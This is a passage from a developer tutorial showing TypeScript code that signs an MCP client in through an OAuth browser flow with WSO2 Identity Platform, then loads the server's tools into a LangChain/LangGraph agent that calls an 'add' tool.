plain">    serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> authProvider</span><span class="token operator">:</span><span class="token plain"> provider </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">isAuthenticationRequired</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">unknown</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    error </span><span class="token keyword" style="color:#1F4FFF">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">UnauthorizedError</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      error </span><span class="token keyword" style="color:#1F4FFF">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string" style="color:#15803D">'code'</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">in</span><span class="token plain"> error </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      error</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">code </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'CLIENT_HTTP_AUTHENTICATION'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createClient</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 1. Try to connect. Without a token, the server answers 401.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">transport</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">catch</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token function" style="color:#0B1633;font-weight:600">isAuthenticationRequired</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 2. The provider has opened the authorization URL. Wait for the user.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'\nWaiting for you to sign in...'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> params </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">waitForCallback</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    provider</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">redirectUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    provider</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">lastState</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 3. Exchange the authorization code for tokens.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> transport</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">finishAuth</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 4. Reconnect. The new transport sends the access token.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> authorizedClient </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createClient</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> authorizedClient</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token function" style="color:#0B1633;font-weight:600">createTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> authorizedClient</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The four numbered comments are the whole flow:</p>
<ol>
<li class="">The first connection fails with an authentication error. By then, the SDK has discovered the authorization server and the provider has opened the authorization URL in your browser.</li>
<li class="">We wait for the browser to come back.</li>
<li class=""><code>finishAuth()</code> exchanges the code for tokens and saves them through the provider.</li>
<li class="">A new client connects, and this time the SDK attaches the access token.</li>
</ol>
<p>The SDK reports "authentication required" either as an <code>UnauthorizedError</code> or as an error with the code <code>CLIENT_HTTP_AUTHENTICATION</code>, so <code>isAuthenticationRequired()</code> checks for both.</p>
<p>We export <code>connect()</code> for the agent, and <code>provider</code> so we can inspect its token later.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="build-the-agent">Build the agent<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#build-the-agent" class="hash-link" aria-label="Direct link to Build the agent" title="Direct link to Build the agent" translate="no">​</a></h2>
<p>We'll build <code>agent.ts</code> in two steps. First, we'll load the server's tools and check that OAuth works. Then we'll hand those tools to a model.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="load-the-mcp-tools">Load the MCP tools<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#load-the-mcp-tools" class="hash-link" aria-label="Direct link to Load the MCP tools" title="Direct link to Load the MCP tools" translate="no">​</a></h3>
<ol>
<li class="">
<p>Create <code>agent.ts</code> and add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">agent.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> loadMcpTools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@langchain/mcp-adapters'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> connect </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./mcp-connection.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">main</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tools </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">loadMcpTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'example'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string" style="color:#15803D">'Loaded MCP tools:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      tools</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">map</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tool </span><span class="token operator">=&gt;</span><span class="token plain"> tool</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">name</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">finally</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token function" style="color:#0B1633;font-weight:600">main</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">catch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Agent failed:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">exitCode </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Here's what it does:</p>
<ul>
<li class=""><code>connect()</code> returns an authorized MCP client. If there's no token yet, it runs the browser sign-in first.</li>
<li class=""><code>loadMcpTools('example', client)</code> asks the server for its tools through that client and converts each one into a LangChain tool, keeping its name, description, and input schema. The first argument is a name for the server. The library uses it in error messages, and can add it as a prefix to tool names when you connect several servers.</li>
<li class="">The <code>finally</code> block closes the MCP connection when we're done.</li>
</ul>
</li>
<li class="">
<p>Make sure the server is still running in the server terminal.</p>
</li>
<li class="">
<p>In the second terminal, run:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">node --env-file=.env --import tsx agent.ts</span><br></span></code></pre></div></div>
<p>The client tries to connect, gets the <code>401</code>, and opens the WSO2 Identity Platform sign-in page in your browser. It also prints the URL:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Opening your browser to sign in. If nothing opens, visit:</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/authorize?response_type=code&amp;client_id=...</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Waiting for you to sign in...</span><br></span></code></pre></div></div>
<p>The terminal stops here. That's expected: the client is waiting for the browser to come back to <code>http://127.0.0.1:3030/callback</code>, and it waits up to five minutes.</p>
</li>
<li class="">
<p>If the browser doesn't open, open the printed URL yourself. In most terminals, you can Cmd-click or Ctrl-click it.</p>
</li>
<li class="">
<p>Sign in as the user you assigned the <code>mcp:tools</code> role to, and approve the consent screen if WSO2 Identity Platform shows one.</p>
<p>The browser lands on the callback and shows:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization complete. You can close this tab.</span><br></span></code></pre></div></div>
</li>
</ol>
<p>Back in the terminal, the client exchanges the code for a token, reconnects, and loads the tools:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Loaded MCP tools: [ 'add' ]</span><br></span></code></pre></div></div>
<p>There's no model involved yet. But we've proved the hard part: the client signed in, got a token the server accepts, and turned the server's tools into LangChain tools.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="hand-the-tools-to-a-model">Hand the tools to a model<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#hand-the-tools-to-a-model" class="hash-link" aria-label="Direct link to Hand the tools to a model" title="Direct link to Hand the tools to a model" translate="no">​</a></h3>
<p>Now let's give those tools to an agent.</p>
<ol>
<li class="">
<p>At the top of <code>agent.ts</code>, add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createAgent </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'langchain'</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Inside the <code>try</code> block, after the <code>console.log()</code> that prints the tool names, add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> agent </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createAgent</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  model</span><span class="token operator">:</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MODEL</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  tools</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> result </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> agent</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">invoke</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  messages</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      role</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'user'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Use the available tool to add 52 and 19.'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">messages</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">at</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">-</span><span class="token number" style="color:#C43300">1</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">?.</span><span class="token plain">content</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Here's what the new code does:</p>
<ul>
<li class=""><code>createAgent({ model, tools })</code> builds a LangGraph agent. <code>model</code> is the <code>MODEL</code> value from <code>.env</code>, and <code>tools</code> are the LangChain tools we just loaded. The model reads their names and descriptions to decide whether to call one.</li>
<li class=""><code>agent.invoke()</code> runs the agent with one user message. When the model decides to call <code>add</code>, the converted tool sends the call through our MCP client, with the access token attached, and the result goes back to the model.</li>
<li class=""><code>result.messages</code> holds the whole conversation. Its last entry, <code>result.messages.at(-1)</code>, is the model's final answer.</li>
</ul>
</li>
</ol>
<p>Your <code>agent.ts</code> should now look like this:</p>
